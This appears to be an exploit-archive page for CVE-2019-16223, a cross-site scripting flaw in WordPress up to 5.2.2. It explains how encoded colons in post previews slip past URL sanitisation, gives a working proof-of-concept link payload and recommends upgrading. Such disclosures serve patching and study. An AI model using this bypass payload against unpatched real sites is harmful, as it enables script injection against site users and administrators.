Wordpress core 5.2.2 post previews xss Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-04 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress core 5.2.2 post previews xss is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Wordpress Core 5.2.2 - 'post previews' XSS
# Date: 31/12/2020
# Exploit Author: gx1 <g.per45[at]gmail.com>
# Vulnerability Discovery: Simon Scannell
# Vendor Homepage: https://wordpress.com/
# Software Link: https://github.com/WordPress/WordPress
# Version: <= 5.2.2
# Tested on: any
# CVE: CVE-2019-16223

# References:
https://nvd.nist.gov/vuln/detail/CVE-2019-16223
https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/

Description:
WordPress before 5.2.3 allows XSS in post previews by authenticated users.

Technical Details and Exploitation:
The vulnerability is due to two condition:
1. wp_kses_bad_protocol_once() has an issue with URL sanitization that can be passed and can lead to cross-site scripting vulnerability:

the function sanitizes bad protocols, and applies a convertion of HTML entities to avoid bypass techniques; anyway, in vulnerable versions, it only checks for html entities after two points, as it is possible to
observe by the applied fix:

============================================================================================================================================
function wp_kses_bad_protocol_once( $string, $allowed_protocols, $count = 1 ) {
+ $string = preg_replace( '/(&#0*58(?![;0-9])|&#x0*3a(?![;a-f0-9]))/i', '$1;', $string ); # APPLIED FIX AFTER VULNERABILITY DETECTION
$string2 = preg_split( '/:|&#0*58;|&#x0*3a;/i', $string, 2 );
if ( isset( $string2[1] ) && ! preg_match( '%/\?%', $string2[0] ) ) {

============================================================================================================================================
This allows an attacker to inject attack strings such as:

============================================================================================================================================
<a href="javascript&#58alert(document.domain)">Example Attack</a>
============================================================================================================================================
Anyway, Wordpress protects against this attack because it converts any type of html entities during the rendering of posts. In a particular case, during preview, it is possible to inject html entities in a URL. That is the second condition.

2. During preview, get_the_content() function in post-template.php replaces URL encoded characters with a corresponding HTML entity:

============================================================================================================================================
function get_the_content( $more_link_text = null, $strip_teaser = false ) {

...
if ( $preview ) // Preview fix for JavaScript bug with foreign languages.
$output = preg_replace_callback( '/\%u([0-9A-F]{4})/', '_convert_urlencoded_to_entities', $output );

return $output;
}

function _convert_urlencoded_to_entities( $match ) {
return '&#' . base_convert( $match[1], 16, 10 ) . ';';
}

============================================================================================================================================
For this reason, it is possible to send URL encoded strings that will be converted in HTML entities during preview. HTML entities can be crafted to bypass wp_ses_bad_protocol_once() function due to issue described in condition 1.

Proof Of Concept:
1. Create a new post
2. Insert in code editor the following HTML PoC code:

<a href="javascript%u003Aalert(/XSS/)">poc</a>

3. Click on preview and click the "poc" link

Solution:

Upgrade Wordpress to version >= 5.2.3